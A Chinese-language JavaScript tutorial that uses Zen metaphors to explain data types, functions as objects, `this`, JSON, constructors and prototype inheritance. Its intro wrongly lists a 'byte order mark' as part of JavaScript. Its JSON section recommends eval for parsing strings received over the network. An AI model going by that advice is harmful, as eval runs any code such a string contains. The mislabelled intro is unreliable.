    做Web程序开发,HTML,CS,JS是必不可少的基础知识。JavaScript是一种基于对象和事件驱动并具有相对安全性的客户端脚本语言。同时也是一种广泛用于客户端Web开发的脚本语言,常用来给HTML网页添加动态功能,比如响应用户的各种操作。它最初由网景公司的Brendan Eich设计,是一种动态、弱类型、基于原型的语言,内置支持类。JavaScript是Sun公司的注册商标。[1] Ecma国际以JavaScript为基础制定了ECMAScript标准。JavaScript也可以用于其他场合,如服务器端编程。完整的JavaScript实现包含三个部分:ECMAScript,文档对象模型,字节顺序记号。本文地址 悟透JavaScript,对JavaScript的深入理解

    引子

    编程世界里只存在两种基本元素,一个是数据,一个是代码。编程世界就是在数据和代码千丝万缕的纠缠中呈现出无限的生机和活力。

    数据天生就是文静的,总想保持自己固有的本色;而代码却天生活泼,总想改变这个世界。

    你看,数据代码间的关系与物质能量间的关系有着惊人的相似。数据也是有惯性的,如果没有代码来施加外力,她总保持自己原来的状态。而代码就象能量,他存在的唯一目的,就是要努力改变数据原来的状态。在代码改变数据的同时,也会因为数据的抗拒而反过来影响或改变代码原有的趋势。甚至在某些情况下,数据可以转变为代码,而代码却又有可能被转变为数据,或许还存在一个类似E=MC2形式的数码转换方程呢。然而,就是在数据和代码间这种即矛盾又统一的运转中,总能体现出计算机世界的规律,这些规律正是我们编写的程序逻辑。

    不过,由于不同程序员有着不同的世界观,这些数据和代码看起来也就不尽相同。于是,不同世界观的程序员们运用各自的方法论,推动着编程世界的进化和发展。

    众所周知,当今最流行的编程思想莫过于面向对象编程的思想。为什么面向对象的思想能迅速风靡编程世界呢?因为面向对象的思想首次把数据和代码结合成统一体,并以一个简单的对象概念呈现给编程者。这一下子就将原来那些杂乱的算法与子程序,以及纠缠不清的复杂数据结构,划分成清晰而有序的对象结构,从而理清了数据与代码在我们心中那团乱麻般的结。我们又可以有一个更清晰的思维,在另一个思想高度上去探索更加浩瀚的编程世界了。

    在五祖弘忍讲授完《对象真经》之后的一天,他对众弟子们说:“经已讲完,想必尔等应该有所感悟,请各自写个偈子来看”。大弟子神秀是被大家公认为悟性最高的师兄,他的偈子写道:“身是对象树,心如类般明。朝朝勤拂拭,莫让惹尘埃!”。此偈一出,立即引起师兄弟们的轰动,大家都说写得太好了。只有火头僧慧能看后,轻轻地叹了口气,又随手在墙上写道:“对象本无根,类型亦无形。本来无一物,何处惹尘埃?”。然后摇了摇头,扬长而去。大家看了慧能的偈子都说:“写的什么乱七八糟的啊,看不懂”。师父弘忍看了神秀的诗偈也点头称赞,再看慧能的诗偈之后默然摇头。就在当天夜里,弘忍却悄悄把慧能叫到自己的禅房,将珍藏多年的软件真经传授于他,然后让他趁着月色连夜逃走...

    后来,慧能果然不负师父厚望,在南方开创了禅宗另一个广阔的天空。而慧能当年带走的软件真经中就有一本是《JavaScript真经》!

    回归简单

    要理解JavaScript,你得首先放下对象和类的概念,回到数据和代码的本原。前面说过,编程世界只有数据和代码两种基本元素,而这两种元素又有着纠缠不清的关系。JavaScript就是把数据和代码都简化到最原始的程度。

    JavaScript中的数据很简洁的。简单数据只有 undefined, null, boolean, number和string这五种,而复杂数据只有一种,即object。这就好比中国古典的朴素唯物思想,把世界最基本的元素归为金木水火土,其他复杂的物质都是由这五种基本元素组成。

    JavaScript中的代码只体现为一种形式,就是function。

    注意:以上单词都是小写的,不要和Number, String, Object, Function等JavaScript内置函数混淆了。要知道,JavaScript语言是区分大小写的呀!

    任何一个JavaScript的标识、常量、变量和参数都只是unfined,null, bool, number, string, object 和function类型中的一种,也就typeof返回值表明的类型。除此之外没有其他类型了。

    先说说简单数据类型吧。

    undefined: 代表一切未知的事物,啥都没有,无法想象,代码也就更无法去处理了。
    注意:typeof(undefined) 返回也是undefined。
    可以将undefined赋值给任何变量或属性,但并不意味了清除了该变量,反而会因此多了一个属性。

    null: 有那么一个概念,但没有东西。无中似有,有中还无。虽难以想象,但已经可以用代码来处理了。
    注意:typeof(null)返回object,但null并非object,具有null值的变量也并非object。

    boolean: 是就是,非就非,没有疑义。对就对,错就错,绝对明确。既能被代码处理,也可以控制代码的流程。

    number: 线性的事物,大小和次序分明,多而不乱。便于代码进行批量处理,也控制代码的迭代和循环等。
    注意:typeof(NaN)和typeof(Infinity)都返回number 。
    NaN参与任何数值计算的结构都是NaN,而且 NaN != NaN 。
    Infinity / Infinity = NaN 。

    string: 面向人类的理性事物,而不是机器信号。人机信息沟通,代码据此理解人的意图等等,都靠它了。

    简单类型都不是对象,JavaScript没有将对象化的能力赋予这些简单类型。直接被赋予简单类型常量值的标识符、变量和参数都不是一个对象。

    所谓“对象化”,就是可以将数据和代码组织成复杂结构的能力。JavaScript中只有object类型和function类型提供了对象化的能力。

    没有类

    object就是对象的类型。在JavaScript中不管多么复杂的数据和代码,都可以组织成object形式的对象。

    但JavaScript却没有“类”的概念!

    对于许多面向对象的程序员来说,这恐怕是JavaScript中最难以理解的地方。是啊,几乎任何讲面向对象的书中,第一个要讲的就是“类”的概念,这可是面向对象的支柱。这突然没有了“类”,我们就象一下子没了精神支柱,感到六神无主。看来,要放下对象和类,达到“对象本无根,类型亦无形”的境界确实是件不容易的事情啊。

    这样,我们先来看一段JavaScript程序:

    var life = {};
    for(life.age = 1;life.age <= 3; life.age++)
    {
    switch(life.age)
    {
    case 1: life.body ="卵细胞";
    life.say = function(){alert(this.age+this.body)};
    break;
    case 2: life.tail ="尾巴";
    life.gill = "腮";
    life.body = "蝌蚪";
    life.say = function(){alert(this.age+this.body+"-"+this.tail+","+this.gill)};
    break;
    case 3: delete life.tail;
    delete life.gill;
    life.legs = "四条腿";
    life.lung = "肺";
    life.body = "青蛙";
    life.say = function(){alert(this.age+this.body+"-"+this.legs+","+this.lung)};
    break;
    };
    life.say();
    };


    这段JavaScript程序一开始产生了一个生命对象life,life诞生时只是一个光溜溜的对象,没有任何属性和方法。在第一次生命过程中,它有了一个身体属性body,并有了一个say方法,看起来是一个“卵细胞”。在第二次生命过程中,它又长出了“尾巴”和“腮”,有了tail和gill属性,显然它是一个“蝌蚪”。在第三次生命过程中,它的tail和gill属性消失了,但又长出了“四条腿”和“肺”,有了legs和lung属性,从而最终变成了“青蛙”。如果,你的想像力丰富的话,或许还能让它变成英俊的“王子”,娶个美丽的“公主”什么的。不过,在看完这段程序之后,请你思考一个问题:

    我们一定需要类吗?

    还记得儿时那个“小蝌蚪找妈妈”的童话吗?也许就在昨天晚,你的孩子刚好是在这个美丽的童话中进入梦乡的吧。可爱的小蝌蚪也就是在其自身类型不断演化过程中,逐渐变成了和妈妈一样的“类”,从而找到了自己的妈妈。这个童话故事中蕴含的编程哲理就是:对象的“类”是从无到有,又不断演化,最终又消失于无形之中的...

    “类”,的确可以帮助我们理解复杂的现实世界,这纷乱的现实世界也的确需要进行分类。但如果我们的思想被“类”束缚住了,“类”也就变成了“累”。想象一下,如果一个生命对象开始的时就被规定了固定的“类”,那么它还能演化吗?蝌蚪还能变成青蛙吗?还可以给孩子们讲小蝌蚪找妈妈的故事吗?

    所以,JavaScript中没有“类”,类已化于无形,与对象融为一体。正是由于放下了“类”这个概念,JavaScript的对象才有了其他编程语言所没有的活力。

    如果,此时你的内心深处开始有所感悟,那么你已经逐渐开始理解JavaScript的禅机了。

    函数的魔力

    接下来,我们再讨论一下JavaScript函数的魔力吧。

    JavaScript的代码就只有function一种形式,function就是函数的类型。也许其他编程语言还有procedure或 method等代码概念,但在JavaScript里只有function一种形式。当我们写下一个函数的时候,只不过是建立了一个function类型的实体而已。请看下面的程序:

    function myfunc()
    {
    alert("hello");
    };

    alert(typeof(myfunc));


    这个代码运行之后可以看到typeof(myfunc)返回的是function。以上的函数写法我们称之为“定义式”的,如果我们将其改写成下面的“变量式”的,就更容易理解了:

    var myfunc = function ()
    {
    alert("hello");
    };

    alert(typeof(myfunc));


    这里明确定义了一个变量myfunc,它的初始值被赋予了一个function的实体。因此,typeof(myfunc)返回的也是function。其实,这两种函数的写法是等价的,除了一点细微差别,其内部实现完全相同。也就是说,我们写的这些JavaScript函数只是一个命了名的变量而已,其变量类型即为function,变量的值就是我们编写的函数代码体。

    聪明的你或许立即会进一步的追问:既然函数只是变量,那么变量就可以被随意赋值并用到任意地方啰?

    我们来看看下面的代码:

    var myfunc = function ()
    {
    alert("hello");
    };
    myfunc(); //第一次调用myfunc,输出hello

    myfunc = function ()
    {
    alert("yeah");
    };
    myfunc(); //第二次调用myfunc,将输出yeah


    这个程序运行的结果告诉我们:答案是肯定的!在第一次调用函数之后,函数变量又被赋予了新的函数代码体,使得第二次调用该函数时,出现了不同的输出。

    好了,我们又来把上面的代码改成第一种定义式的函数形式:

    function myfunc ()
    {
    alert("hello");
    };
    myfunc(); //这里调用myfunc,输出yeah而不是hello

    function myfunc ()
    {
    alert("yeah");
    };
    myfunc(); //这里调用myfunc,当然输出yeah


    按理说,两个签名完全相同的函数,在其他编程语言中应该是非法的。但在JavaScript中,这没错。不过,程序运行之后却发现一个奇怪的现象:两次调用都只是最后那个函数里输出的值!显然第一个函数没有起到任何作用。这又是为什么呢?

    原来,JavaScript执行引擎并非一行一行地分析和执行程序,而是一段一段地分析执行的。而且,在同一段程序的分析执行中,定义式的函数语句会被提取出来优先执行。函数定义执行完之后,才会按顺序执行其他语句代码。也就是说,在第一次调用myfunc之前,第一个函数语句定义的代码逻辑,已被第二个函数定义语句覆盖了。所以,两次都调用都是执行最后一个函数逻辑了。

    如果把这个JavaScript代码分成两段,例如将它们写在一个html中,并用<script/>标签将其分成这样的两块:

    <script>
    function myfunc ()
    {
    alert("hello");
    };
    myfunc(); //这里调用myfunc,输出hello
    </script>

    <script>
    function myfunc ()
    {
    alert("yeah");
    };
    myfunc(); //这里调用myfunc,输出yeah
    </script>


    这时,输出才是各自按顺序来的,也证明了JavaScript的确是一段段地执行的。

    一段代码中的定义式函数语句会优先执行,这似乎有点象静态语言的编译概念。所以,这一特征也被有些人称为:JavaScript的“预编译”。

    大多数情况下,我们也没有必要去纠缠这些细节问题。只要你记住一点:JavaScript里的代码也是一种数据,同样可以被任意赋值和修改的,而它的值就是代码的逻辑。只是,与一般数据不同的是,函数是可以被调用执行的。

    不过,如果JavaScript函数仅仅只有这点道行的话,这与C++的函数指针,DELPHI的方法指针,C#的委托相比,又有啥稀奇嘛!然而,JavaScript函数的神奇之处还体现在另外两个方面:一是函数function类型本身也具有对象化的能力,二是函数function与对象 object超然的结合能力。

    奇妙的对象

    先来说说函数的对象化能力。

    任何一个函数都可以为其动态地添加或去除属性,这些属性可以是简单类型,可以是对象,也可以是其他函数。也就是说,函数具有对象的全部特征,你完全可以把函数当对象来用。其实,函数就是对象,只不过比一般的对象多了一个括号“()”操作符,这个操作符用来执行函数的逻辑。即,函数本身还可以被调用,一般对象却不可以被调用,除此之外完全相同。请看下面的代码:

    function Sing()
    {
    with(arguments.callee)
    alert(author + ":" + poem);
    };
    Sing.author = "李白";
    Sing.poem = "汉家秦地月,流影照明妃。一上玉关道,天涯去不归";
    Sing();
    Sing.author = "李战";
    Sing.poem = "日出汉家天,月落阴山前。女儿琵琶怨,已唱三千年";
    Sing();


    在这段代码中,Sing函数被定义后,又给Sing函数动态地增加了author和poem属性。将author和poem属性设为不同的作者和诗句,在调用Sing()时就能显示出不同的结果。这个示例用一种诗情画意的方式,让我们理解了JavaScript函数就是对象的本质,也感受到了JavaScript语言的优美。

    好了,以上的讲述,我们应该算理解了function类型的东西都是和object类型一样的东西,这种东西被我们称为“对象”。我们的确可以这样去看待这些“对象”,因为它们既有“属性”也有“方法”嘛。但下面的代码又会让我们产生新的疑惑:

    var anObject = {}; //一个对象
    anObject.aProperty = "Property of object"; //对象的一个属性
    anObject.aMethod = function(){alert("Method of object")}; //对象的一个方法
    //主要看下面:
    alert(anObject["aProperty"]); //可以将对象当数组以属性名作为下标来访问属性
    anObject["aMethod"](); //可以将对象当数组以方法名作为下标来调用方法
    for( var s in anObject) //遍历对象的所有属性和方法进行迭代化处理
    alert(s + " is a " + typeof(anObject[s]));


    同样对于function类型的对象也是一样:

    var aFunction = function() {}; //一个函数
    aFunction.aProperty = "Property of function"; //函数的一个属性
    aFunction.aMethod = function(){alert("Method of function")}; //函数的一个方法
    //主要看下面:
    alert(aFunction["aProperty"]); //可以将函数当数组以属性名作为下标来访问属性
    aFunction["aMethod"](); //可以将函数当数组以方法名作为下标来调用方法
    for( var s in aFunction) //遍历函数的所有属性和方法进行迭代化处理
    alert(s + " is a " + typeof(aFunction[s]));


    是的,对象和函数可以象数组一样,用属性名或方法名作为下标来访问并处理。那么,它到底应该算是数组呢,还是算对象?

    我们知道,数组应该算是线性数据结构,线性数据结构一般有一定的规律,适合进行统一的批量迭代操作等,有点像波。而对象是离散数据结构,适合描述分散的和个性化的东西,有点像粒子。因此,我们也可以这样问:JavaScript里的对象到底是波还是粒子?

    如果存在对象量子论,那么答案一定是:波粒二象性!

    因此,JavaScript里的函数和对象既有对象的特征也有数组的特征。这里的数组被称为“字典”,一种可以任意伸缩的名称值对儿的集合。其实, object和function的内部实现就是一个字典结构,但这种字典结构却通过严谨而精巧的语法表现出了丰富的外观。正如量子力学在一些地方用粒子来解释和处理问题,而在另一些地方却用波来解释和处理问题。你也可以在需要的时候,自由选择用对象还是数组来解释和处理问题。只要善于把握JavaScript的这些奇妙特性,就可以编写出很多简洁而强大的代码来。

    放下对象

    我们再来看看function与object的超然结合吧。

    在面向对象的编程世界里,数据与代码的有机结合就构成了对象的概念。自从有了对象,编程世界就被划分成两部分,一个是对象内的世界,一个是对象外的世界。对象天生具有自私的一面,外面的世界未经允许是不可访问对象内部的。对象也有大方的一面,它对外提供属性和方法,也为他人服务。不过,在这里我们要谈到一个有趣的问题,就是“对象的自我意识”。

    什么?没听错吧?对象有自我意识?

    可能对许多程序员来说,这的确是第一次听说。不过,请君看看C++、C#和Java的this,DELPHI的self,还有VB的me,或许你会恍然大悟!当然,也可能只是说句“不过如此”而已。

    然而,就在对象将世界划分为内外两部分的同时,对象的“自我”也就随之产生。“自我意识”是生命的最基本特征!正是由于对象这种强大的生命力,才使得编程世界充满无限的生机和活力。

    但对象的“自我意识”在带给我们快乐的同时也带来了痛苦和烦恼。我们给对象赋予了太多欲望,总希望它们能做更多的事情。然而,对象的自私使得它们互相争抢系统资源,对象的自负让对象变得复杂和臃肿,对象的自欺也往往带来挥之不去的错误和异常。我们为什么会有这么多的痛苦和烦恼呢?

    为此,有一个人,在对象树下,整整想了九九八十一天,终于悟出了生命的痛苦来自于欲望,但究其欲望的根源是来自于自我意识。于是他放下了“自我”,在对象树下成了佛,从此他开始普度众生,传播真经。他的名字就叫释迦摩尼,而《JavaScript真经》正是他所传经书中的一本。

    JavaScript中也有this,但这个this却与C++、C#或Java等语言的this不同。一般编程语言的this就是对象自己,而 JavaScript的this却并不一定!this可能是我,也可能是你,可能是他,反正是我中有你,你中有我,这就不能用原来的那个“自我”来理解 JavaScript这个this的含义了。为此,我们必须首先放下原来对象的那个“自我”。

    我们来看下面的代码:

    function WhoAmI() //定义一个函数WhoAmI
    {
    alert("I'm " + this.name + " of " + typeof(this));
    };

    WhoAmI(); //此时是this当前这段代码的全局对象,在浏览器中就是window对象,其name属性为空字符串。输出:I'm of object

    var BillGates = {name:"Bill Gates"};
    BillGates.WhoAmI = WhoAmI; //将函数WhoAmI作为BillGates的方法。
    BillGates.WhoAmI(); //此时的this是BillGates。输出:I'm Bill Gates ofobject

    var SteveJobs = {name:"Steve Jobs"};
    SteveJobs.WhoAmI = WhoAmI; //将函数WhoAmI作为SteveJobs的方法。
    SteveJobs.WhoAmI(); //此时的this是SteveJobs。输出:I'm Steve Jobs ofobject

    WhoAmI.call(BillGates); //直接将BillGates作为this,调用WhoAmI。输出:I'm Bill Gates ofobject
    WhoAmI.call(SteveJobs); //直接将SteveJobs作为this,调用WhoAmI。输出:I'm Steve Jobs ofobject

    BillGates.WhoAmI.call(SteveJobs); //将SteveJobs作为this,却调用BillGates的WhoAmI方法。输出:I'm Steve Jobs ofobject
    SteveJobs.WhoAmI.call(BillGates); //将BillGates作为this,却调用SteveJobs的WhoAmI方法。输出:I'm Bill Gates ofobject

    WhoAmI.WhoAmI = WhoAmI; //将WhoAmI函数设置为自身的方法。
    WhoAmI.name = "WhoAmI";
    WhoAmI.WhoAmI(); //此时的this是WhoAmI函数自己。输出:I'm WhoAmI of function

    ({name: "nobody", WhoAmI: WhoAmI}).WhoAmI(); //临时创建一个匿名对象并设置属性后调用WhoAmI方法。输出:I'm nobody of object


    从上面的代码可以看出,同一个函数可以从不同的角度来调用,this并不一定是函数本身所属的对象。this只是在任意对象和function元素结合时的一个概念,是种结合比起一般对象语言的默认结合更加灵活,显得更加超然和洒脱。

    在JavaScript函数中,你只能把this看成当前要服务的“这个”对象。this是一个特殊的内置参数,根据this参数,您可以访问到“这个”对象的属性和方法,但却不能给this参数赋值。在一般对象语言中,方法体代码中的this可以省略的,成员默认都首先是“自己”的。但JavaScript却不同,由于不存在“自我”,当访问“这个”对象时,this不可省略!

    JavaScript提供了传递this参数的多种形式和手段,其中,象BillGates.WhoAmI()和SteveJobs.WhoAmI()这种形式,是传递this参数最正规的形式,此时的this就是函数所属的对象本身。而大多数情况下,我们也几乎很少去采用那些借花仙佛的调用形式。但只我们要明白JavaScript的这个“自我”与其他编程语言的“自我”是不同的,这是一个放下了的“自我”,这就是JavaScript特有的世界观。

    对象素描

    已经说了许多了许多话题了,但有一个很基本的问题我们忘了讨论,那就是:怎样建立对象?

    在前面的示例中,我们已经涉及到了对象的建立了。我们使用了一种被称为JavaScript Object Notation(缩写JSON)的形式,翻译为中文就是“JavaScript对象表示法”。

    JSON为创建对象提供了非常简单的方法。例如,
    创建一个没有任何属性的对象:

    var o = {};


    创建一个对象并设置属性及初始值:

    var person = {name: "Angel", age: 18, married: false};


    创建一个对象并设置属性和方法:

    var speaker = {text: "Hello World", say: function(){alert(this.text)}};


    创建一个更复杂的对象,嵌套其他对象和对象数组等:

    var company =
    {
    name: "Microsoft",
    product: "softwares",
    chairman: {name: "Bill Gates", age: 53, Married: true},
    employees: [{name: "Angel", age: 26, Married: false}, {name:"Hanson", age: 32, Marred: true}],
    readme: function() {document.write(this.name + "product " + this.product);}
    };


    JSON的形式就是用大括“{}”号包括起来的项目列表,每一个项目间并用逗号“,”分隔,而项目就是用冒号“:”分隔的属性名和属性值。这是典型的字典表示形式,也再次表明了JavaScript里的对象就是字典结构。不管多么复杂的对象,都可以被一句JSON代码来创建并赋值。

    其实,JSON就是JavaScript对象最好的序列化形式,它比XML更简洁也更省空间。对象可以作为一个JSON形式的字符串,在网络间自由传递和交换信息。而当需要将这个JSON字符串变成一个JavaScript对象时,只需要使用eval函数这个强大的数码转换引擎,就立即能得到一个JavaScript内存对象。正是由于JSON的这种简单朴素的天生丽质,才使得她在AJAX舞台上成为璀璨夺目的明星。

    JavaScript就是这样,把面向对象那些看似复杂的东西,用及其简洁的形式表达出来。卸下对象浮华的浓妆,还对象一个眉目清晰!

    构造对象

    好了,接下我们来讨论一下对象的另一种创建方法。

    除JSON外,在JavaScript中我们可以使用new操作符结合一个函数的形式来创建对象。例如:

    function MyFunc() {}; //定义一个空函数
    var anObj = new MyFunc(); //使用new操作符,借助MyFun函数,就创建了一个对象


    JavaScript的这种创建对象的方式可真有意思,如何去理解这种写法呢?

    其实,可以把上面的代码改写成这种等价形式:

    function MyFunc(){};
    var anObj = {}; //创建一个对象
    MyFunc.call(anObj); //将anObj对象作为this指针调用MyFunc函数


    我们就可以这样理解,JavaScript先用new操作符创建了一个对象,紧接着就将这个对象作为this参数调用了后面的函数。其实,JavaScript内部就是这么做的,而且任何函数都可以被这样调用!但从 “anObj = new MyFunc()” 这种形式,我们又看到一个熟悉的身影,C++和C#不就是这样创建对象的吗?原来,条条大路通灵山,殊途同归啊!

    君看到此处也许会想,我们为什么不可以把这个MyFunc当作构造函数呢?恭喜你,答对了!JavaScript也是这么想的!请看下面的代码:

    1 function Person(name) //带参数的构造函数
    2 {
    3 this.name = name; //将参数值赋给给this对象的属性
    4 this.SayHello = function(){alert("Hello, I'm " + this.name);}; //给this对象定义一个SayHello方法。
    5 };
    6
    7 function Employee(name,salary) //子构造函数
    8 {
    9 Person.call(this, name); //将this传给父构造函数
    10 this.salary = salary; //设置一个this的salary属性
    11 this.ShowMeTheMoney = function() {alert(this.name + "$" + this.salary);}; //添加ShowMeTheMoney方法。
    12 };
    13
    14 var BillGates = new Person("BillGates"); //用Person构造函数创建BillGates对象
    15 var SteveJobs = new Employee("SteveJobs", 1234); //用Empolyee构造函数创建SteveJobs对象
    16
    17 BillGates.SayHello(); //显示:I'm Bill Gates
    18 SteveJobs.SayHello(); //显示:I'm Steve Jobs
    19 SteveJobs.ShowMeTheMoney(); //显示:Steve Jobs $1234
    20
    21 alert(BillGates.constructor == Person); //显示:true
    22 alert(SteveJobs.constructor == Employee); //显示:true
    23
    24 alert(BillGates.SayHello == SteveJobs.SayHello); //显示:false


    这段代码表明,函数不但可以当作构造函数,而且还可以带参数,还可以为对象添加成员和方法。其中的第9行,Employee构造函数又将自己接收的this作为参数调用Person构造函数,这就是相当于调用基类的构造函数。第21、22行还表明这样一个意思:BillGates是由Person构造的,而SteveJobs是由Employee构造的。对象内置的constructor属性还指明了构造对象所用的具体函数!

    其实,如果你愿意把函数当作“类”的话,她就是“类”,因为她本来就有“类”的那些特征。难道不是吗?她生出的儿子各个都有相同的特征,而且构造函数也与类同名嘛!

    但要注意的是,用构造函数操作this对象创建出来的每一个对象,不但具有各自的成员数据,而且还具有各自的方法数据。换句话说,方法的代码体(体现函数逻辑的数据)在每一个对象中都存在一个副本。尽管每一个代码副本的逻辑是相同的,但对象们确实是各自保存了一份代码体。上例中的最后一句说明了这一实事,这也解释了JavaScript中的函数就是对象的概念。

    同一类的对象各自有一份方法代码显然是一种浪费。在传统的对象语言中,方法函数并不象JavaScript那样是个对象概念。即使也有象函数指针、方法指针或委托那样的变化形式,但其实质也是对同一份代码的引用。一般的对象语言很难遇到这种情况。

    不过,JavaScript语言有大的灵活性。我们可以先定义一份唯一的方法函数体,并在构造this对象时使用这唯一的函数对象作为其方法,就能共享方法逻辑。例如:

    function SayHello() //先定义一份SayHello函数代码
    {
    alert("Hello, I'm " + this.name);
    };

    function Person(name) //带参数的构造函数
    {
    this.name = name; //将参数值赋给给this对象的属性
    this.SayHello = SayHello;//给this对象SayHello方法赋值为前面那份SayHello代码。
    };

    var BillGates = new Person("BillGates"); //创建BillGates对象
    var SteveJobs = new Person("SteveJobs"); //创建SteveJobs对象

    alert(BillGates.SayHello == SteveJobs.SayHello); //显示:true


    其中,最后一行的输出结果表明两个对象确实共享了一个函数对象。虽然,这段程序达到了共享了一份方法代码的目的,但却不怎么优雅。因为,定义SayHello方法时反映不出其与Person类的关系。“优雅”这个词用来形容代码,也不知道是谁先提出来的。不过,这个词反映了程序员已经从追求代码的正确、高效、可靠和易读等基础上,向着追求代码的美观感觉和艺术境界的层次发展,程序人生又多了些浪漫色彩。

    显然,JavaScript早想到了这一问题,她的设计者们为此提供了一个有趣的prototype概念。

    初看原型

    prototype源自法语,软件界的标准翻译为“原型”,代表事物的初始形态,也含有模型和样板的意义。JavaScript中的prototype概念恰如其分地反映了这个词的内含,我们不能将其理解为C++的prototype那种预先声明的概念。

    JavaScript的所有function类型的对象都有一个prototype属性。这个prototype属性本身又是一个object类型的对象,因此我们也可以给这个prototype对象添加任意的属性和方法。既然prototype是对象的“原型”,那么由该函数构造出来的对象应该都会具有这个“原型”的特性。事实上,在构造函数的prototype上定义的所有属性和方法,都是可以通过其构造的对象直接访问和调用的。也可以这么说,prototype提供了一群同类对象共享属性和方法的机制。

    我们先来看看下面的代码:

    function Person(name)
    {
    this.name = name; //设置对象属性,每个对象各自一份属性数据
    };

    Person.prototype.SayHello = function() //给Person函数的prototype添加SayHello方法。
    {
    alert("Hello, I'm " + this.name);
    }

    var BillGates = new Person("BillGates"); //创建BillGates对象
    var SteveJobs = new Person("SteveJobs"); //创建SteveJobs对象

    BillGates.SayHello(); //通过BillGates对象直接调用到SayHello方法
    SteveJobs.SayHello(); //通过SteveJobs对象直接调用到SayHello方法

    alert(BillGates.SayHello == SteveJobs.SayHello); //因为两个对象是共享prototype的SayHello,所以显示:true


    程序运行的结果表明,构造函数的prototype上定义的方法确实可以通过对象直接调用到,而且代码是共享的。显然,把方法设置到prototype的写法显得优雅多了,尽管调用形式没有变,但逻辑上却体现了方法与类的关系,相对前面的写法,更容易理解和组织代码。

    那么,对于多层次类型的构造函数情况又如何呢?

    我们再来看下面的代码:

    1 function Person(name) //基类构造函数
    2 {
    3 this.name = name;
    4 };
    5
    6 Person.prototype.SayHello = function() //给基类构造函数的prototype添加方法
    7 {
    8 alert("Hello, I'm " + this.name);
    9 };
    10
    11 function Employee(name,salary) //子类构造函数
    12 {
    13 Person.call(this, name); //调用基类构造函数
    14 this.salary = salary;
    15 };
    16
    17 Employee.prototype = new Person(); //建一个基类的对象作为子类原型的原型,这里很有意思
    18
    19 Employee.prototype.ShowMeTheMoney = function() //给子类添构造函数的prototype添加方法
    20 {
    21 alert(this.name + " $" + this.salary);
    22 };
    23
    24 var BillGates = new Person("BillGates"); //创建基类Person的BillGates对象
    25 var SteveJobs = new Employee("SteveJobs", 1234); //创建子类Employee的SteveJobs对象
    26
    27 BillGates.SayHello(); //通过对象直接调用到prototype的方法
    28 SteveJobs.SayHello(); //通过子类对象直接调用基类prototype的方法,关注!
    29 SteveJobs.ShowMeTheMoney(); //通过子类对象直接调用子类prototype的方法
    30
    31 alert(BillGates.SayHello == SteveJobs.SayHello); //显示:true,表明prototype的方法是共享的


    这段代码的第17行,构造了一个基类的对象,并将其设为子类构造函数的prototype,这是很有意思的。这样做的目的就是为了第28行,通过子类对象也可以直接调用基类prototype的方法。为什么可以这样呢?

    原来,在JavaScript中,prototype不但能让对象共享自己财富,而且prototype还有寻根问祖的天性,从而使得先辈们的遗产可以代代相传。当从一个对象那里读取属性或调用方法时,如果该对象自身不存在这样的属性或方法,就会去自己关联的prototype对象那里寻找;如果prototype没有,又会去prototype自己关联的前辈prototype那里寻找,直到找到或追溯过程结束为止。

    在JavaScript内部,对象的属性和方法追溯机制是通过所谓的prototype链来实现的。当用new操作符构造对象时,也会同时将构造函数的prototype对象指派给新创建的对象,成为该对象内置的原型对象。对象内置的原型对象应该是对外不可见的,尽管有些浏览器(如Firefox)可以让我们访问这个内置原型对象,但并不建议这样做。内置的原型对象本身也是对象,也有自己关联的原型对象,这样就形成了所谓的原型链。

    在原型链的最末端,就是Object构造函数prototype属性指向的那一个原型对象。这个原型对象是所有对象的最老祖先,这个老祖宗实现了诸如toString等所有对象天生就该具有的方法。其他内置构造函数,如Function,Boolean, String, Date和RegExp等的prototype都是从这个老祖宗传承下来的,但他们各自又定义了自身的属性和方法,从而他们的子孙就表现出各自宗族的那些特征。

    这不就是“继承”吗?是的,这就是“继承”,是JavaScript特有的“原型继承”。

    “原型继承”是慈祥而又严厉的。原形对象将自己的属性和方法无私地贡献给孩子们使用,也并不强迫孩子们必须遵从,允许一些顽皮孩子按自己的兴趣和爱好独立行事。从这点上看,原型对象是一位慈祥的母亲。然而,任何一个孩子虽然可以我行我素,但却不能动原型对象既有的财产,因为那可能会影响到其他孩子的利益。从这一点上看,原型对象又象一位严厉的父亲。我们来看看下面的代码就可以理解这个意思了:

    function Person(name)
    {
    this.name = name;
    };

    Person.prototype.company = "Microsoft"; //原型的属性

    Person.prototype.SayHello = function() //原型的方法
    {
    alert("Hello, I'm " + this.name + " of " + this.company);
    };

    var BillGates = new Person("Bill Gates");
    BillGates.SayHello(); //由于继承了原型的东西,规规矩矩输出:Hello,I'm Bill Gates

    var SteveJobs = new Person("SteveJobs");
    SteveJobs.company = "Apple"; //设置自己的company属性,掩盖了原型的company属性
    SteveJobs.SayHello = function() //实现了自己的SayHello方法,掩盖了原型的SayHello方法
    {
    alert("Hi, " + this.name + " like " + this.company + ", ha ha ha ");
    };

    SteveJobs.SayHello(); //都是自己覆盖的属性和方法,输出:Hi, Steve Jobs likeApple, ha ha ha

    BillGates.SayHello(); //SteveJobs的覆盖没有影响原型对象,BillGates还是按老样子输出


    对象可以掩盖原型对象的那些属性和方法,一个构造函数原型对象也可以掩盖上层构造函数原型对象既有的属性和方法。这种掩盖其实只是在对象自己身上创建了新的属性和方法,只不过这些属性和方法与原型对象的那些同名而已。JavaScript就是用这简单的掩盖机制实现了对象的“多态”性,与静态对象语言的虚函数和重载(override)概念不谋而合。

    然而,比静态对象语言更神奇的是,我们可以随时给原型对象动态添加新的属性和方法,从而动态地扩展基类的功能特性。这在静态对象语言中是很难想象的。我们来看下面的代码:

    function Person(name)
    {
    this.name = name;
    };

    Person.prototype.SayHello = function() //建立对象前定义的方法
    {
    alert("Hello, I'm " + this.name);
    };

    var BillGates = new Person("BillGates"); //建立对象

    BillGates.SayHello();

    Person.prototype.Retire = function() //建立对象后再动态扩展原型的方法
    {
    alert("Poor " + this.name + ", bye bye!");
    };

    BillGates.Retire(); //动态扩展的方法即可被先前建立的对象立即调用


    阿弥佗佛,原型继承竟然可以玩出有这样的法术!

    原型扩展

    想必君的悟性极高,可能你会这样想:如果在JavaScript内置的那些如Object和Function等函数的prototype上添加些新的方法和属性,是不是就能扩展JavaScript的功能呢?

    那么,恭喜你,你得到了!

    在AJAX技术迅猛发展的今天,许多成功的AJAX项目的JavaScript运行库都大量扩展了内置函数的prototype功能。比如微软的ASP.NET AJAX,就给这些内置函数及其prototype添加了大量的新特性,从而增强了JavaScript的功能。

    我们来看一段摘自MicrosoftAjax.debug.js中的代码:

    String.prototype.trim= function String$trim() {
    if (arguments.length!== 0) throwError.parameterCount();
    return this.replace(/^\s+|\s+$/g,'');
    }


